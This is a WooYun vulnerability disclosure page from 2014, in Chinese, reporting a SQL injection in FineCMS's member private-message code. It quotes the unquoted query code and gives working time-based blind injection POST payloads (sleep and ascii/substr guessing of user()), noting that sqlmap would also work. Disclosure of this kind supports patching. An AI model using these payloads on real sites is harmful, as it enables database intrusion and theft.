当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077047

漏洞标题: FineCMS 最新版sql注入一枚(无防御)

相关厂商:dayrui.com

漏洞作者: menmen519

提交时间:2014-09-23 11:51

修复时间:2014-12-22 11:52

公开时间:2014-12-22 11:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-23: 细节已通知厂商并且等待厂商处理中
2014-09-23: 厂商已经确认,细节仅向厂商公开
2014-09-26: 细节向第三方安全合作伙伴开放
2014-11-17: 细节向核心白帽子及相关领域专家公开
2014-11-27: 细节向普通白帽子公开
2014-12-07: 细节向实习白帽子公开
2014-12-22: 细节向公众公开

简要描述:

FineCMS 最新版sql注入一枚 厂商不会又说6月份已经修复吧,我说了这只是一个开始..............................................................................................

详细说明:

直接看代码:
member/controllers/pm.php:(lines:27-37):

public function index() {

if (IS_POST) {
if ($this->input->post('action') == 'read') {
$this->pm_model->set_read($this->uid, $this->input->post('ids'));
exit(dr_json(1, lang('000')));
} else {
$this->pm_model->deletes($this->uid, $this->input->post('ids'));
exit(dr_json(1, lang('000')));
}
}


发现了没有这里有一行:
$this->pm_model->set_read($this->uid, $this->input->post('ids'));
跟进去看一下:
pm_modle.php(lines:150-190):

public function set_read($uid, $ids) {

if (!$ids) {
return NULL;
}
foreach ($ids as $plid) {
echo "UPDATE ".$this->db->dbprefix('pm_members')." SET isnew=0 WHERE plid=$plid AND uid=$uid AND isnew=1";
$this->db
->query("UPDATE ".$this->db->dbprefix('pm_members')." SET isnew=0 WHERE plid=$plid AND uid=$uid AND isnew=1");
}
}


这里如果ids是数组的之家查询,并没有添加单引号,那么这里面可构造的就多了,并且与gpc一点关系都没有
我们看一下payload:
url:
http://finecmstest.com/member/index.php?c=pm&m=index
postdata:
ids[]=sleep(5)&action=read
执行后 发现延5秒执行 ,我们在更改一下payload
postdata:
ids[]=if(ascii(substr(user(),1,1))=$NUM,sleep(if(1,5,1))&action=read
这里的$NUM就是我们的参数,一直可以猜测表名,这里也可以通过sqlmap去跑 因为没有任何防御
ok.....................

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-09-23 11:58

厂商回复:

这个文件6月份没有动过啊

最新状态:

暂无